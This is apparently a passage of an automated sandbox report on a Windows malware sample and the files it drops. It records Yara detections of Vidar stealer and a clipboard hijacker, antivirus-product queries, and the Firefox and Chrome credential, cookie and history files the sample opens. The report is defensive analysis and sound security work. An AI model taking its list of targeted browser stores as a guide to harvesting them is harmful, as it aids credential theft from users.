o,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_05DC3F87
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_05DC49EA
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_05DC394D
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_05DBC8B7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05DD0AB6
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	2_2_0043404A
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00438178
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00440116
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004382A2
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_0043834F
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_00438423
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: EnumSystemLocalesW,	2_2_004387C8
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: GetLocaleInfoW,	2_2_0043884E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	2_2_00432B6D
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	2_2_00432FAD
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_004335E7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_00437BB3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: EnumSystemLocalesW,	2_2_00437E27
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437E83
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437F00
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	2_2_0042BF17
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00437F83
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_05E83F87
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_05E849EA
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_05E8394D
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	5_2_05E7C8B7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_05E90AB6
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_0043404A
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00438178
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_00440116
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_004382A2
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	6_2_0043834F
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	6_2_00438423
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_004335E7
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: EnumSystemLocalesW,	6_2_004387C8
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: GetLocaleInfoW,	6_2_0043884E
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	6_2_00432B6D
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	6_2_00437BB3
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: EnumSystemLocalesW,	6_2_00437E27
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437E83
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437F00
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	6_2_0042BF17
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00437F83
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_00432FAD

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_00408AF4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00408AF4

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

2_2_00419F90

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_0042FE47

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

2_2_00419F90

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2359644104.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 26.2.mstsca.exe.8515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.mstsca.exe.9315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.build3.exe.8115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.mstsca.exe.9715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.1ce15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.1ce15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 1908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 5644, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\0absryc3.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 5644, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 10.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.1ce15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.build2.exe.1ce15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2183817210.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 1908, type: MEMORYSTR
